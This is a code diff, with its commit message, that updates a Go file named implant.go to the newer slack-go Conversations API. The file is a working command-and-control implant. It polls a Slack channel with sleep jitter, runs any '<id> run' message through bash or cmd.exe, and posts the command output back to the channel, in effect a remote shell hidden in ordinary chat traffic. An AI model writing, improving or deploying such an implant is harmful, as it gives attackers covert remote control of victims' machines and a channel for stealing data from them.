Update slack package import and method calls for Conversations API

implant.go

@@ -1,95 +1,95 @@
 package main
 
 import (
-    "fmt"
-    "math/rand"
-    "os"
-    "os/exec"
-    "runtime"
-    "strings"
-    "time"
+	"fmt"
+	"math/rand"
+	"os"
+	"os/exec"
+	"runtime"
+	"strings"
+	"time"
 
-    "github.com/nlopes/slack"
+	"github.com/slack-go/slack"
 )
 
 const (
-    SleepDuration = 60
+	SleepDuration = 60
 )
 
 var (
-    CHANID      string
-    SLACKTOKEN  string
-    UUID        string
+	CHANID     string
+	SLACKTOKEN string
+	UUID       string
 )
 
 func handleSleep(sleep int) {
-    rand.Seed(time.Now().UnixNano())
-    min := 1
-    max := 5
-    num := rand.Intn(max - min) + min
-    sleepWithJitter := sleep * num
-    time.Sleep(time.Duration(sleepWithJitter) * time.Second)
+	rand.Seed(time.Now().UnixNano())
+	min := 1
+	max := 5
+	num := rand.Intn(max-min) + min
+	sleepWithJitter := sleep * num
+	time.Sleep(time.Duration(sleepWithJitter) * time.Second)
 }
 
 func runCmd(cmd string) string {
-    shell := "bash"
-    shell_arg := "-c"
+	shell := "bash"
+	shell_arg := "-c"
 
-    if runtime.GOOS == "windows" {
-        shell = "cmd.exe"
-        shell_arg = "/C"
-    }
+	if runtime.GOOS == "windows" {
+		shell = "cmd.exe"
+		shell_arg = "/C"
+	}
 
-    myCmd := exec.Command(shell, shell_arg, cmd)
-    //myCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
-    cmdOut, err := myCmd.Output()
-    if err != nil {
-        return "Error with cmd: " + err.Error() + " " + cmd
-    } else {
-        return string(cmdOut)
-    }
+	myCmd := exec.Command(shell, shell_arg, cmd)
+	//myCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+	cmdOut, err := myCmd.Output()
+	if err != nil {
+		return "Error with cmd: " + err.Error() + " " + cmd
+	} else {
+		return string(cmdOut)
+	}
 }
 
 func postMsg(api *slack.Client, chan_id string, msg string) {
-    channelID, timestamp, err := api.PostMessage(chan_id, slack.MsgOptionText(msg, false))
-    if err != nil {
-        fmt.Printf("%s\n", err)
-        return
-    }
-    fmt.Printf("Message successfully sent to channel %s at %s\n", channelID, timestamp)
+	channelID, timestamp, err := api.PostMessage(chan_id, slack.MsgOptionText(msg, false))
+	if err != nil {
+		fmt.Printf("%s\n", err)
+		return
+	}
+	fmt.Printf("Message successfully sent to channel %s at %s\n", channelID, timestamp)
 }
 
 func main() {
-    bot_id := UUID
-    channel_id := CHANID
-    slack_token := SLACKTOKEN
-    api := slack.New(slack_token)
+	bot_id := UUID
+	channel_id := CHANID
+	slack_token := SLACKTOKEN
+	api := slack.New(slack_token)
 
-    hello := "Hello, " + bot_id + " reporting for duty."
-    postMsg(api,channel_id,hello)
+	hello := "Hello, " + bot_id + " reporting for duty."
+	postMsg(api, channel_id, hello)
 
-    last := ""
-    for true {
-        handleSleep(SleepDuration)
-        historyParams := slack.HistoryParameters{Latest: "", Oldest: "0", Count: 2, Inclusive: false, Unreads:false,}
-        history, err := api.GetChannelHistory(channel_id, historyParams)
-        if err != nil {
-            fmt.Printf("%s\n", err)
-            return
-        }
-        for _,data := range history.Messages {
-            if strings.Contains(data.Text, bot_id + " exit") {
-                os.Exit(0)
-            } else if strings.Contains(data.Text, bot_id + " run ") {
-                if strings.Compare(last,data.Text) != 0  {
-                    cmd := strings.Replace(data.Text, bot_id + " run ","", -1)
-                    output := runCmd(cmd)
-                    fmt.Println("cmd: \n" + cmd)
-                    fmt.Println("output: \n" + output)
-                    postMsg(api, channel_id, output)
-                    last = data.Text
-                }
-            }
-        }
-    }
+	last := ""
+	for true {
+		handleSleep(SleepDuration)
+		historyParams := slack.GetConversationHistoryParameters{ChannelID: channel_id, Latest: "", Oldest: "0", Limit: 2, Inclusive: false}
+		history, err := api.GetConversationHistory(&historyParams)
+		if err != nil {
+			fmt.Printf("%s\n", err)
+			return
+		}
+		for _, data := range history.Messages {
+			if strings.Contains(data.Text, bot_id+" exit") {
+				os.Exit(0)
+			} else if strings.Contains(data.Text, bot_id+" run ") {
+				if strings.Compare(last, data.Text) != 0 {
+					cmd := strings.Replace(data.Text, bot_id+" run ", "", -1)
+					output := runCmd(cmd)
+					fmt.Println("cmd: \n" + cmd)
+					fmt.Println("output: \n" + output)
+					postMsg(api, channel_id, output)
+					last = data.Text
+				}
+			}
+		}
+	}
 }